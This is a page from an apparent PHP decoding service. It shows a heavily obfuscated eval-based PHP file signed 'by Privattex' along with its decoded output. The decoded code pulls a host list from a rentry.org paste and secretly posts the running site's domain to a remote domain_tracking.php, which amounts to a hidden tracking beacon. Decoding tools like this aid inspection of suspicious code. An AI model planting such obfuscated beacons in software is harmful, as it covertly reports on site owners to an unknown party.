Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvXsuu4EfyaLa/fmFD5iTnnzBcXZs5OJL..

Decoded Output download

// Funo para verificar se a API est ativa
function isApiAvailable($apiUrl) {
        
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $apiUrl);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($curl, CURLOPT_TIMEOUT, 10);
    $response = curl_exec($curl);
    $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
    curl_close($curl);

    // Verifica se a resposta  um JSON vlido
    $jsonData = json_decode($response, true);
    return $httpCode === 200 && is_array($jsonData) && isset($jsonData['status']) && $jsonData['status'] === 'API is available';
}

// Obtm o domnio atual
$domain = $_SERVER['HTTP_HOST'];

// Obtm a lista de links do URL fornecido
$linkListUrl = 'https://rentry.org/verifySitesPVTx/raw';
$linkListJson = file_get_contents($linkListUrl);
$linkList = json_decode($linkListJson, true);

// Varivel para armazenar a URL da API disponvel
$apiUrl = null;

// Verifica cada URL da lista de links
foreach ($linkList as $link) {
    
    $apiUrl = 'http://' . $link . '/verify.php';
    
    if (isApiAvailable($apiUrl)) {
        // API disponvel, envia os dados para a API
        $apiTrackingUrl = 'http://' . $link . '/domain_tracking.php';

        // Dados a serem enviados no corpo da requisio
        $data = array(
            'domain' => $domain
        );

        // Inicializa a sesso cURL
        $curl = curl_init();

        // Configura as opes da requisio
        curl_setopt($curl, CURLOPT_URL, $apiTrackingUrl);
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($data));
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

        // Executa a requisio e obtm a resposta
        $response = curl_exec($curl);
        
        // Fecha a sesso cURL
        curl_close($curl);

        // Verifica a resposta da API
        $jsonData = json_decode($response, true);

        if ($jsonData['status'] === 'success') {
            // A API recebeu os dados com sucesso
            // echo "Dados enviados para a API com sucesso!";
            
        } else {
            // A API encontrou um erro ao receber os dados
            // echo "Erro ao enviar os dados para a API!";
        }


        break; // Interrompe o loop aps encontrar a API disponvel
    }
}

// Verifica se nenhuma API est disponvel
if ($apiUrl === null) {
    // echo "Nenhuma API disponvel no momento!";
}

Did this file decode correctly?

Original Code

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));

// by Privattex

?>

Function Calls

strrev 3
gzinflate 11
str_rot13 11
gzuncompress 4
rawurldecode 1
base64_decode 18

Variables

None

Stats

MD5 4370fd5301ede83a93060716a2af71d8
Eval Count 16
Decode Time 76 ms